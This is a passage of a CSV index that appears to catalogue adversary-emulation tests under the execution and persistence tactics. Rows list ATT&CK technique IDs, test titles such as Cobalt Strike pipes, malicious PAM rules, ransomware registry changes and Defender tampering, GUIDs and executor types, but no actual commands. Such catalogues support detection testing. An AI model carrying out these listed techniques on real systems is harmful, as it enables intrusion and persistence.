+execution,T1059.004,Command and Scripting Interpreter: Bash,4,LinEnum tool execution,a2b35a63-9df1-4806-9a4d-5fe0500845f2,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,5,New script file in the tmp directory,8cd1947b-4a54-41fb-b5ea-07d0ace04f81,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,6,What shell is running,7b38e5cc-47be-44f0-a425-390305c76c17,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,7,What shells are available,bf23c7dc-1004-4949-8262-4c1d1ef87702,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,8,Command line scripts,b04ed73c-7d43-4dc8-b563-a2fc595cba1a,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,9,Obfuscated command line scripts,5bec4cc8-f41e-437b-b417-33ff60acf9af,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,10,Change login shell,c7ac59cb-13cc-4622-81dc-6d2fee9bfac7,bash +execution,T1059.004,Command and Scripting Interpreter: Bash,11,Environment variable scripts,bdaebd56-368b-4970-a523-f905ff4a8a51,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,12,Detecting pipe-to-shell,fca246a8-a585-4f28-a2df-6495973976a1,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,13,Current kernel information enumeration,3a53734a-9e26-4f4b-ad15-059e767f5f14,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,14,Shell Creation using awk command,ee72b37d-b8f5-46a5-a9e7-0ff50035ffd5,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,15,Creating shell using cpan command,bcd4c2bc-490b-4f91-bd31-3709fe75bbdf,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,16,Shell Creation using busybox command,ab4d04af-68dc-4fee-9c16-6545265b3276,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,17,emacs spawning an interactive system shell,e0742e38-6efe-4dd4-ba5c-2078095b6156,sh +execution,T1559,Inter-Process Communication,1,Cobalt Strike Artifact Kit pipe,bd13b9fc-b758-496a-b81a-397462f82c72,command_prompt +execution,T1559,Inter-Process Communication,2,Cobalt Strike Lateral Movement (psexec_psh) pipe,830c8b6c-7a70-4f40-b975-8bbe74558acd,command_prompt +execution,T1559,Inter-Process Communication,3,Cobalt Strike SSH (postex_ssh) pipe,d1f72fa0-5bc2-4b4b-bd1e-43b6e8cfb2e6,command_prompt +execution,T1559,Inter-Process Communication,4,Cobalt Strike post-exploitation pipe (4.2 and later),7a48f482-246f-4aeb-9837-21c271ebf244,command_prompt +execution,T1559,Inter-Process Communication,5,Cobalt Strike post-exploitation pipe (before 4.2),8dbfc15c-527b-4ab0-a272-019f469d367f,command_prompt +execution,T1204.003,User Execution: Malicious Image,1,Malicious Execution from Mounted ISO Image,e9795c8d-42aa-4ed4-ad80-551ed793d006,powershell +execution,T1059.006,Command and Scripting Interpreter: Python,1,Execute shell script via python's command mode arguement,3a95cdb2-c6ea-4761-b24e-02b71889b8bb,sh +execution,T1059.006,Command and Scripting Interpreter: Python,2,Execute Python via scripts,6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8,sh +execution,T1059.006,Command and Scripting Interpreter: Python,3,Execute Python via Python executables,0b44d79b-570a-4b27-a31f-3bf2156e5eaa,sh +execution,T1059.006,Command and Scripting Interpreter: Python,4,Python pty module and spawn function used to spawn sh or bash,161d694c-b543-4434-85c3-c3a433e33792,sh +execution,T1059.003,Command and Scripting Interpreter: Windows Command Shell,1,Create and Execute Batch Script,9e8894c0-50bd-4525-a96c-d4ac78ece388,powershell +execution,T1059.003,Command and Scripting Interpreter: Windows Command Shell,2,Writes text to a file and displays it.,127b4afe-2346-4192-815c-69042bec570e,command_prompt +execution,T1059.003,Command and Scripting Interpreter: Windows Command Shell,3,Suspicious Execution via Windows Command Shell,d0eb3597-a1b3-4d65-b33b-2cda8d397f20,command_prompt +execution,T1059.003,Command and Scripting Interpreter: Windows Command Shell,4,Simulate BlackByte Ransomware Print Bombing,6b2903ac-8f36-450d-9ad5-b220e8a2dcb9,powershell +execution,T1059.003,Command and Scripting Interpreter: Windows Command Shell,5,Command Prompt read contents from CMD file and execute,df81db1b-066c-4802-9bc8-b6d030c3ba8e,command_prompt +execution,T1059.003,Command and Scripting Interpreter: Windows Command Shell,6,Command prompt writing script to file then executes it,00682c9f-7df4-4df8-950b-6dcaaa3ad9af,command_prompt +execution,T1651,Cloud Administration Command,1,AWS Run Command (and Control),a3cc9c95-c160-4b86-af6f-84fba87bfd30,powershell +execution,T1059.005,Command and Scripting Interpreter: Visual Basic,1,Visual Basic script execution to gather local computer information,1620de42-160a-4fe5-bbaf-d3fef0181ce9,powershell +execution,T1059.005,Command and Scripting Interpreter: Visual Basic,2,Encoded VBS code execution,e8209d5f-e42d-45e6-9c2f-633ac4f1eefa,powershell +execution,T1059.005,Command and Scripting Interpreter: Visual Basic,3,Extract Memory via VBA,8faff437-a114-4547-9a60-749652a03df6,powershell +execution,T1648,Serverless Execution,1,Lambda Function Hijack,87a4a141-c2bb-49d1-a604-8679082d8b91,powershell +execution,T1569.002,System Services: Service Execution,1,Execute a Command as a Service,2382dee2-a75f-49aa-9378-f52df6ed3fb1,command_prompt +execution,T1569.002,System Services: Service Execution,2,Use PsExec to execute a command on a remote host,873106b7-cfed-454b-8680-fa9f6400431c,command_prompt +execution,T1569.002,System Services: Service Execution,3,psexec.py (Impacket),edbcd8c9-3639-4844-afad-455c91e95a35,bash +execution,T1569.002,System Services: Service Execution,4,BlackCat pre-encryption cmds with Lateral Movement,31eb7828-97d7-4067-9c1e-c6feb85edc4b,powershell +execution,T1569.002,System Services: Service Execution,5,Use RemCom to execute a command on a remote host,a5d8cdeb-be90-43a9-8b26-cc618deac1e0,command_prompt +execution,T1569.002,System Services: Service Execution,6,Snake Malware Service Create,b8db787e-dbea-493c-96cb-9272296ddc49,command_prompt +execution,T1569.002,System Services: Service Execution,7,Modifying ACL of Service Control Manager via SDET,bf07f520-3909-4ef5-aa22-877a50f2f77b,command_prompt +execution,T1569.002,System Services: Service Execution,8,Pipe Creation - PsExec Tool Execution From Suspicious Locations,004a5d68-627b-452d-af3d-43bd1fc75a3b,powershell +execution,T1053.002,Scheduled Task/Job: At,1,At.exe Scheduled task,4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8,command_prompt +execution,T1053.002,Scheduled Task/Job: At,2,At - Schedule a job,7266d898-ac82-4ec0-97c7-436075d0d08e,sh +execution,T1053.002,Scheduled Task/Job: At,3,At - Schedule a job via kubectl in a Pod,9ddf2e5e-7e2c-46c2-9940-3c2ff29c7213,bash +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0c0-c4057039a8dd,command_prompt +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,8,Import XML Schedule Task with Hidden Attribute,cd925593-fbb4-486d-8def-16cbdf944bf4,powershell +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,9,PowerShell Modify A Scheduled Task,dda6fc7b-c9a6-4c18-b98d-95ec6542af6d,powershell +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,10,"Scheduled Task (""Ghost Task"") via Registry Key Manipulation",704333ca-cc12-4bcf-9916-101844881f54,command_prompt +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,11,Scheduled Task Persistence via CompMgmt.msc,8fcfa3d5-ea7d-4e1c-bd3e-3c4ed315b7d2,command_prompt +persistence,T1053.005,Scheduled Task/Job: Scheduled Task,12,Scheduled Task Persistence via Eventviewer.msc,02124c37-767e-4b76-9383-c9fc366d9d4c,command_prompt +persistence,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,1,Malicious PAM rule,4b9dde80-ae22-44b1-a82a-644bf009eb9c,sh +persistence,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,2,Malicious PAM rule (freebsd),b17eacac-282d-4ca8-a240-46602cf863e3,sh +persistence,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,3,Malicious PAM module,65208808-3125-4a2e-8389-a0a00e9ab326,sh +persistence,T1546.013,Event Triggered Execution: PowerShell Profile,1,Append malicious start-process cmdlet,090e5aa5-32b6-473b-a49b-21e843a56896,powershell +persistence,T1133,External Remote Services,1,Running Chrome VPN Extensions via the Registry 2 vpn extension,4c8db261-a58b-42a6-a866-0a294deedde4,powershell +persistence,T1053.007,Kubernetes Cronjob,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash +persistence,T1053.007,Kubernetes Cronjob,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash +persistence,T1542.001,Pre-OS Boot: System Firmware,1,UEFI Persistence via Wpbbin.exe File Creation,b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1,powershell +persistence,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell +persistence,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,2,Service ImagePath Change with reg.exe,f38e9eea-e1d7-4ba6-b716-584791963827,command_prompt +persistence,T1547,Boot or Logon Autostart Execution,1,Add a driver,cb01b3da-b0e7-4e24-bf6d-de5223526785,command_prompt +persistence,T1547,Boot or Logon Autostart Execution,2,Driver Installation Using pnputil.exe,5cb0b071-8a5a-412f-839d-116beb2ed9f7,powershell +persistence,T1547,Boot or Logon Autostart Execution,3,Leverage Virtual Channels to execute custom DLL during successful RDP session,fdd45306-74f6-4ade-9a97-0a4895961228,command_prompt +persistence,T1547.014,Active Setup,1,HKLM - Add atomic_test key to launch executable as part of user setup,deff4586-0517-49c2-981d-bbea24d48d71,powershell +persistence,T1547.014,Active Setup,2,HKLM - Add malicious StubPath value to existing Active Setup Entry,39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a,powershell +persistence,T1547.014,Active Setup,3,HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number,04d55cef-f283-40ba-ae2a-316bc3b5e78c,powershell +persistence,T1543.003,Create or Modify System Process: Windows Service,1,Modify Fax service to run PowerShell,ed366cde-7d12-49df-a833-671904770b9f,command_prompt +persistence,T1543.003,Create or Modify System Process: Windows Service,2,Service Installation CMD,981e2942-e433-44e9-afc1-8c957a1496b6,command_prompt +persistence,T1543.003,Create or Modify System Process: Windows Service,3,Service Installation PowerShell,491a4af6-a521-4b74-b23b-f7b3f1ee9e77,powershell +persistence,T1543.003,Create or Modify System Process: Windows Service,4,TinyTurla backdoor service w64time,ef0581fd-528e-4662-87bc-4c2affb86940,command_prompt +persistence,T1543.003,Create or Modify System Process: Windows Service,5,Remote Service Installation CMD,fb4151a2-db33-4f8c-b7f8-78ea8790f961,command_prompt +persistence,T1543.003,Create or Modify System Process: Windows Service,6,Modify Service to Run Arbitrary Binary (Powershell),1f896ce4-8070-4959-8a25-2658856a70c9,powershell +persistence,T1053.003,Scheduled Task/Job: Cron,1,Cron - Replace crontab with referenced file,435057fb-74b1-410e-9403-d81baf194f75,sh +persistence,T1053.003,Scheduled Task/Job: Cron,2,Cron - Add script to all cron subfolders,b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0,bash +persistence,T1053.003,Scheduled Task/Job: Cron,3,Cron - Add script to /etc/cron.d folder,078e69eb-d9fb-450e-b9d0-2e118217c846,sh +persistence,T1053.003,Scheduled Task/Job: Cron,4,Cron - Add script to /var/spool/cron/crontabs/ folder,2d943c18-e74a-44bf-936f-25ade6cccab4,bash +persistence,T1137,Office Application Startup,1,Office Application Startup - Outlook as a C2,bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c,command_prompt +persistence,T1098.003,Account Manipulation: Additional Cloud Roles,1,Azure AD - Add Company Administrator Role to a user,4d77f913-56f5-4a14-b4b1-bf7bb24298ad,powershell +persistence,T1098.003,Account Manipulation: Additional Cloud Roles,2,Simulate - Post BEC persistence via user password reset followed by user added to company administrator role,14f3af20-61f1-45b8-ad31-4637815f3f44,powershell +persistence,T1547.012,Boot or Logon Autostart Execution: Print Processors,1,Print Processors,f7d38f47-c61b-47cc-a59d-fc0368f47ed0,powershell +persistence,T1574.001,Hijack Execution Flow: DLL,1,DLL Search Order Hijacking - amsi.dll,8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3,command_prompt +persistence,T1574.001,Hijack Execution Flow: DLL,2,Phantom Dll Hijacking - WinAppXRT.dll,46ed938b-c617-429a-88dc-d49b5c9ffedb,command_prompt +persistence,T1574.001,Hijack Execution Flow: DLL,3,Phantom Dll Hijacking - ualapi.dll,5898902d-c5ad-479a-8545-6f5ab3cfc87f,command_prompt +persistence,T1574.001,Hijack Execution Flow: DLL,4,DLL Side-Loading using the Notepad++ GUP.exe binary,65526037-7079-44a9-bda1-2cb624838040,command_prompt +persistence,T1574.001,Hijack Execution Flow: DLL,5,DLL Side-Loading using the dotnet startup hook environment variable,d322cdd7-7d60-46e3-9111-648848da7c02,command_prompt +persistence,T1574.001,Hijack Execution Flow: DLL,6,"DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE",c095ad8e-4469-4d33-be9d-6f6d1fb21585,powershell +persistence,T1137.006,Office Application Startup: Add-ins,1,Code Executed Via Excel Add-in File (XLL),441b1a0f-a771-428a-8af0-e99e4698cda3,powershell +persistence,T1137.006,Office Application Startup: Add-ins,2,Persistent Code Execution Via Excel Add-in File (XLL),9c307886-9fef-41d5-b344-073a0f5b2f5f,powershell +persistence,T1137.006,Office Application Startup: Add-ins,3,Persistent Code Execution Via Word Add-in File (WLL),95408a99-4fa7-4cd6-a7ef-cb65f86351cf,powershell +persistence,T1137.006,Office Application Startup: Add-ins,4,Persistent Code Execution Via Excel VBA Add-in File (XLAM),082141ed-b048-4c86-99c7-2b8da5b5bf48,powershell +persistence,T1137.006,Office Application Startup: Add-ins,5,Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM),f89e58f9-2b49-423b-ac95-1f3e7cfd8277,powershell +persistence,T1505.002,Server Software Component: Transport Agent,1,Install MS Exchange Transport Agent Persistence,43e92449-ff60-46e9-83a3-1a38089df94d,powershell +persistence,T1556.002,Modify Authentication Process: Password Filter DLL,1,Install and Register Password Filter DLL,a7961770-beb5-4134-9674-83d7e1fa865c,powershell +persistence,T1556.002,Modify Authentication Process: Password Filter DLL,2,Install Additional Authentication Packages,91580da6-bc6e-431b-8b88-ac77180005f2,powershell +persistence,T1505.005,Server Software Component: Terminal Services DLL,1,Simulate Patching termsrv.dll,0b2eadeb-4a64-4449-9d43-3d999f4a317b,powershell +persistence,T1505.005,Server Software Component: Terminal Services DLL,2,Modify Terminal Services DLL Path,18136e38-0530-49b2-b309-eed173787471,powershell +persistence,T1176,Browser Extensions,1,Chrome/Chromium (Developer Mode),3ecd790d-2617-4abf-9a8c-4e8d47da9ee1,manual +persistence,T1176,Browser Extensions,2,Firefox,cb790029-17e6-4c43-b96f-002ce5f10938,manual +persistence,T1176,Browser Extensions,3,Edge Chromium Addon - VPN,3d456e2b-a7db-4af8-b5b3-720e7c4d9da5,manual +persistence,T1176,Browser Extensions,4,Google Chrome Load Unpacked Extension With Command Line,7a714703-9f6b-461c-b06d-e6aeac650f27,powershell +persistence,T1546.011,Event Triggered Execution: Application Shimming,1,Application Shim Installation,9ab27e22-ee62-4211-962b-d36d9a0e6a18,command_prompt +persistence,T1546.011,Event Triggered Execution: Application Shimming,2,New shim database files created in the default shim database directory,aefd6866-d753-431f-a7a4-215ca7e3f13d,powershell +persistence,T1546.011,Event Triggered Execution: Application Shimming,3,Registry key creation and/or modification events for SDB,9b6a06f9-ab5e-4e8d-8289-1df4289db02f,powershell +persistence,T1547.010,Boot or Logon Autostart Execution: Port Monitors,1,Add Port Monitor persistence in Registry,d34ef297-f178-4462-871e-9ce618d44e50,command_prompt +persistence,T1037.002,Boot or Logon Initialization Scripts: Logon Script (Mac),1,Logon Scripts - Mac,f047c7de-a2d9-406e-a62b-12a09d9516f4,manual +persistence,T1547.009,Boot or Logon Autostart Execution: Shortcut Modification,1,Shortcut Modification,ce4fc678-364f-4282-af16-2fb4c78005ce,command_prompt +persistence,T1547.009,Boot or Logon Autostart Execution: Shortcut Modification,2,Create shortcut to cmd in startup folders,cfdc954d-4bb0-4027-875b-a1893ce406f2,powershell +persistence,T1547.005,Boot or Logon Autostart Execution: Security Support Provider,1,Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry,afdfd7e3-8a0b-409f-85f7-886fdf249c9e,powershell +persistence,T1547.005,Boot or Logon Autostart Execution: Security Support Provider,2,Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry,de3f8e74-3351-4fdb-a442-265dbf231738,powershell +persistence,T1112,Modify Registry,1,Modify Registry of Current User Profile - cmd,1324796b-d0f6-455a-b4ae-21ffee6aa6b9,command_prompt +persistence,T1112,Modify Registry,2,Modify Registry of Local Machine - cmd,282f929a-6bc5-42b8-bd93-960c3ba35afe,command_prompt +persistence,T1112,Modify Registry,3,Modify registry to store logon credentials,c0413fb5-33e2-40b7-9b6f-60b29f4a7a18,command_prompt +persistence,T1112,Modify Registry,4,Use Powershell to Modify registry to store logon credentials,68254a85-aa42-4312-a695-38b7276307f8,powershell +persistence,T1112,Modify Registry,5,Add domain to Trusted sites Zone,cf447677-5a4e-4937-a82c-e47d254afd57,powershell +persistence,T1112,Modify Registry,6,Javascript in registry,15f44ea9-4571-4837-be9e-802431a7bfae,powershell +persistence,T1112,Modify Registry,7,Change Powershell Execution Policy to Bypass,f3a6cceb-06c9-48e5-8df8-8867a6814245,powershell +persistence,T1112,Modify Registry,8,BlackByte Ransomware Registry Changes - CMD,4f4e2f9f-6209-4fcf-9b15-3b7455706f5b,command_prompt +persistence,T1112,Modify Registry,9,BlackByte Ransomware Registry Changes - Powershell,0b79c06f-c788-44a2-8630-d69051f1123d,powershell +persistence,T1112,Modify Registry,10,Disable Windows Registry Tool,ac34b0f7-0f85-4ac0-b93e-3ced2bc69bb8,command_prompt +persistence,T1112,Modify Registry,11,Disable Windows CMD application,d2561a6d-72bd-408c-b150-13efe1801c2a,powershell +persistence,T1112,Modify Registry,12,Disable Windows Task Manager application,af254e70-dd0e-4de6-9afe-a994d9ea8b62,command_prompt +persistence,T1112,Modify Registry,13,Disable Windows Notification Center,c0d6d67f-1f63-42cc-95c0-5fd6b20082ad,command_prompt +persistence,T1112,Modify Registry,14,Disable Windows Shutdown Button,6e0d1131-2d7e-4905-8ca5-d6172f05d03d,command_prompt +persistence,T1112,Modify Registry,15,Disable Windows LogOff Button,e246578a-c24d-46a7-9237-0213ff86fb0c,command_prompt +persistence,T1112,Modify Registry,16,Disable Windows Change Password Feature,d4a6da40-618f-454d-9a9e-26af552aaeb0,command_prompt +persistence,T1112,Modify Registry,17,Disable Windows Lock Workstation Feature,3dacb0d2-46ee-4c27-ac1b-f9886bf91a56,command_prompt +persistence,T1112,Modify Registry,18,Activate Windows NoDesktop Group Policy Feature,93386d41-525c-4a1b-8235-134a628dee17,command_prompt +persistence,T1112,Modify Registry,19,Activate Windows NoRun Group Policy Feature,d49ff3cc-8168-4123-b5b3-f057d9abbd55,command_prompt +persistence,T1112,Modify Registry,20,Activate Windows NoFind Group Policy Feature,ffbb407e-7f1d-4c95-b22e-548169db1fbd,command_prompt +persistence,T1112,Modify Registry,21,Activate Windows NoControlPanel Group Policy Feature,a450e469-ba54-4de1-9deb-9023a6111690,command_prompt +persistence,T1112,Modify Registry,22,Activate Windows NoFileMenu Group Policy Feature,5e27bdb4-7fd9-455d-a2b5-4b4b22c9dea4,command_prompt +persistence,T1112,Modify Registry,23,Activate Windows NoClose Group Policy Feature,12f50e15-dbc6-478b-a801-a746e8ba1723,command_prompt +persistence,T1112,Modify Registry,24,Activate Windows NoSetTaskbar Group Policy Feature,d29b7faf-7355-4036-9ed3-719bd17951ed,command_prompt +persistence,T1112,Modify Registry,25,Activate Windows NoTrayContextMenu Group Policy Feature,4d72d4b1-fa7b-4374-b423-0fe326da49d2,command_prompt +persistence,T1112,Modify Registry,26,Activate Windows NoPropertiesMyDocuments Group Policy Feature,20fc9daa-bd48-4325-9aff-81b967a84b1d,command_prompt +persistence,T1112,Modify Registry,27,Hide Windows Clock Group Policy Feature,8023db1e-ad06-4966-934b-b6a0ae52689e,command_prompt +persistence,T1112,Modify Registry,28,Windows HideSCAHealth Group Policy Feature,a4637291-40b1-4a96-8c82-b28f1d73e54e,command_prompt +persistence,T1112,Modify Registry,29,Windows HideSCANetwork Group Policy Feature,3e757ce7-eca0-411a-9583-1c33b8508d52,command_prompt +persistence,T1112,Modify Registry,30,Windows HideSCAPower Group Policy Feature,8d85a5d8-702f-436f-bc78-fcd9119496fc,command_prompt +persistence,T1112,Modify Registry,31,Windows HideSCAVolume Group Policy Feature,7f037590-b4c6-4f13-b3cc-e424c5ab8ade,command_prompt +persistence,T1112,Modify Registry,32,Windows Modify Show Compress Color And Info Tip Registry,795d3248-0394-4d4d-8e86-4e8df2a2693f,command_prompt +persistence,T1112,Modify Registry,33,Windows Powershell Logging Disabled,95b25212-91a7-42ff-9613-124aca6845a8,command_prompt +persistence,T1112,Modify Registry,34,Windows Add Registry Value to Load Service in Safe Mode without Network,1dd59fb3-1cb3-4828-805d-cf80b4c3bbb5,command_prompt +persistence,T1112,Modify Registry,35,Windows Add Registry Value to Load Service in Safe Mode with Network,c173c948-65e5-499c-afbe-433722ed5bd4,command_prompt +persistence,T1112,Modify Registry,36,Disable Windows Toast Notifications,003f466a-6010-4b15-803a-cbb478a314d7,command_prompt +persistence,T1112,Modify Registry,37,Disable Windows Security Center Notifications,45914594-8df6-4ea9-b3cc-7eb9321a807e,command_prompt +persistence,T1112,Modify Registry,38,Suppress Win Defender Notifications,c30dada3-7777-4590-b970-dc890b8cf113,command_prompt +persistence,T1112,Modify Registry,39,Allow RDP Remote Assistance Feature,86677d0e-0b5e-4a2b-b302-454175f9aa9e,command_prompt +persistence,T1112,Modify Registry,40,NetWire RAT Registry Key Creation,65704cd4-6e36-4b90-b6c1-dc29a82c8e56,command_prompt +persistence,T1112,Modify Registry,41,Ursnif Malware Registry Key Creation,c375558d-7c25-45e9-bd64-7b23a97c1db0,command_prompt +persistence,T1112,Modify Registry,42,Terminal Server Client Connection History Cleared,3448824b-3c35-4a9e-a8f5-f887f68bea21,command_prompt +persistence,T1112,Modify Registry,43,Disable Windows Error Reporting Settings,d2c9e41e-cd86-473d-980d-b6403562e3e1,command_prompt +persistence,T1112,Modify Registry,44,DisallowRun Execution Of Certain Applications,71db768a-5a9c-4047-b5e7-59e01f188e84,command_prompt +persistence,T1112,Modify Registry,45,Enabling Restricted Admin Mode via Command_Prompt,fe7974e5-5813-477b-a7bd-311d4f535e83,command_prompt +persistence,T1112,Modify Registry,46,Mimic Ransomware - Enable Multiple User Sessions,39f1f378-ba8a-42b3-96dc-2a6540cfc1e3,command_prompt +persistence,T1112,Modify Registry,47,Mimic Ransomware - Allow Multiple RDP Sessions per User,35727d9e-7a7f-4d0c-a259-dc3906d6e8b9,command_prompt +persistence,T1112,Modify Registry,48,Event Viewer Registry Modification - Redirection URL,6174be7f-5153-4afd-92c5-e0c3b7cdb5ae,command_prompt +persistence,T1112,Modify Registry,49,Event Viewer Registry Modification - Redirection Program,81483501-b8a5-4225-8b32-52128e2f69db,command_prompt +persistence,T1112,Modify Registry,50,Enabling Remote Desktop Protocol via Remote Registry,e3ad8e83-3089-49ff-817f-e52f8c948090,command_prompt +persistence,T1112,Modify Registry,51,Disable Win Defender Notification,12e03af7-79f9-4f95-af48-d3f12f28a260,command_prompt +persistence,T1112,Modify Registry,52,Disable Windows OS Auto Update,01b20ca8-c7a3-4d86-af59-059f15ed5474,command_prompt +persistence,T1112,Modify Registry,53,Disable Windows Auto Reboot for current logon user,396f997b-c5f8-4a96-bb2c-3c8795cf459d,command_prompt +persistence,T1112,Modify Registry,54,Windows Auto Update Option to Notify before download,335a6b15-b8d2-4a3f-a973-ad69aa2620d7,command_prompt +persistence,T1112,Modify Registry,55,Do Not Connect To Win Update,d1de3767-99c2-4c6c-8c5a-4ba4586474c8,command_prompt +persistence,T1112,Modify Registry,56,Tamper Win Defender Protection,3b625eaa-c10d-4635-af96-3eae7d2a2f3c,command_prompt +persistence,T1112,Modify Registry,57,Snake Malware Registry Blob,8318ad20-0488-4a64-98f4-72525a012f6b,powershell +persistence,T1112,Modify Registry,58,Allow Simultaneous Download Registry,37950714-e923-4f92-8c7c-51e4b6fffbf6,command_prompt +persistence,T1112,Modify Registry,59,Modify Internet Zone Protocol Defaults in Current User Registry - cmd,c88ef166-50fa-40d5-a80c-e2b87d4180f7,command_prompt +persistence,T1112,Modify Registry,60,Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell,b1a4d687-ba52-4057-81ab-757c3dc0d3b5,powershell +persistence,T1112,Modify Registry,61,Activities To Disable Secondary Authentication Detected By Modified Registry Value.,c26fb85a-fa50-4fab-a64a-c51f5dc538d5,command_prompt +persistence,T1112,Modify Registry,62,Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication Detected By Modified Registry Value.,ffeddced-bb9f-49c6-97f0-3d07a509bf94,command_prompt +persistence,T1112,Modify Registry,63,Scarab Ransomware Defense Evasion Activities,ca8ba39c-3c5a-459f-8e15-280aec65a910,command_prompt +persistence,T1112,Modify Registry,64,Disable Remote Desktop Anti-Alias Setting Through Registry,61d35188-f113-4334-8245-8c6556d43909,command_prompt +persistence,T1112,Modify Registry,65,Disable Remote Desktop Security Settings Through Registry,4b81bcfa-fb0a-45e9-90c2-e3efe5160140,command_prompt +persistence,T1112,Modify Registry,66,Disabling ShowUI Settings of Windows Error Reporting (WER),09147b61-40f6-4b2a-b6fb-9e73a3437c96,command_prompt +persistence,T1112,Modify Registry,67,Enable Proxy Settings,eb0ba433-63e5-4a8c-a9f0-27c4192e1336,command_prompt +persistence,T1112,Modify Registry,68,Set-Up Proxy Server,d88a3d3b-d016-4939-a745-03638aafd21b,command_prompt +persistence,T1112,Modify Registry,69,RDP Authentication Level Override,7e7b62e9-5f83-477d-8935-48600f38a3c6,command_prompt +persistence,T1112,Modify Registry,70,Enable RDP via Registry (fDenyTSConnections),16bdbe52-371c-4ccf-b708-79fba61f1db4,command_prompt +persistence,T1112,Modify Registry,71,Disable Windows Prefetch Through Registry,7979dd41-2045-48b2-a54e-b1bc2415c9da,command_prompt +persistence,T1112,Modify Registry,72,Setting Shadow key in Registry for RDP Shadowing,ac494fe5-81a4-4897-af42-e774cf005ecb,powershell +persistence,T1112,Modify Registry,73,Flush Shimcache,ecbd533e-b45d-4239-aeff-b857c6f6d68b,command_prompt +persistence,T1112,Modify Registry,74,Disable Windows Remote Desktop Protocol,5f8e36de-37ca-455e-b054-a2584f043c06,command_prompt +persistence,T1112,Modify Registry,75,Enforce Smart Card Authentication Through Registry,4c4bf587-fe7f-448f-ba8d-1ecec9db88be,command_prompt +persistence,T1112,Modify Registry,76,Requires the BitLocker PIN for Pre-boot authentication,26fc7375-a551-4336-90d7-3f2817564304,command_prompt +persistence,T1112,Modify Registry,77,Modify EnableBDEWithNoTPM Registry entry,bacb3e73-8161-43a9-8204-a69fe0e4b482,command_prompt +persistence,T1112,Modify Registry,78,Modify UseTPM Registry entry,7c8c7bd8-0a5c-4514-a6a3-0814c5a98cf0,command_prompt +persistence,T1112,Modify Registry,79,Modify UseTPMPIN Registry entry,10b33fb0-c58b-44cd-8599-b6da5ad6384c,command_prompt +persistence,T1112,Modify Registry,80,Modify UseTPMKey Registry entry,c8480c83-a932-446e-a919-06a1fd1e512a,command_prompt +persistence,T1112,Modify Registry,81,Modify UseTPMKeyPIN Registry entry,02d8b9f7-1a51-4011-8901-2d55cca667f9,command_prompt +persistence,T1112,Modify Registry,82,Modify EnableNonTPM Registry entry,e672a340-a933-447c-954c-d68db38a09b1,command_prompt +persistence,T1112,Modify Registry,83,Modify UsePartialEncryptionKey Registry entry,b5169fd5-85c8-4b2c-a9b6-64cc0b9febef,command_prompt +persistence,T1112,Modify Registry,84,Modify UsePIN Registry entry,3ac0b30f-532f-43c6-8f01-fb657aaed7e4,command_prompt +persistence,T1112,Modify Registry,85,Abusing Windows TelemetryController Registry Key for Persistence,4469192c-2d2d-4a3a-9758-1f31d937a92b,command_prompt +persistence,T1112,Modify Registry,86,Modify RDP-Tcp Initial Program Registry Entry,c691cee2-8d17-4395-b22f-00644c7f1c2d,command_prompt +persistence,T1112,Modify Registry,87,Abusing MyComputer Disk Cleanup Path for Persistence,f2915249-4485-42e2-96b7-9bf34328d497,command_prompt +persistence,T1112,Modify Registry,88,Abusing MyComputer Disk Fragmentation Path for Persistence,3235aafe-b49d-451b-a1f1-d979fa65ddaf,command_prompt +persistence,T1112,Modify 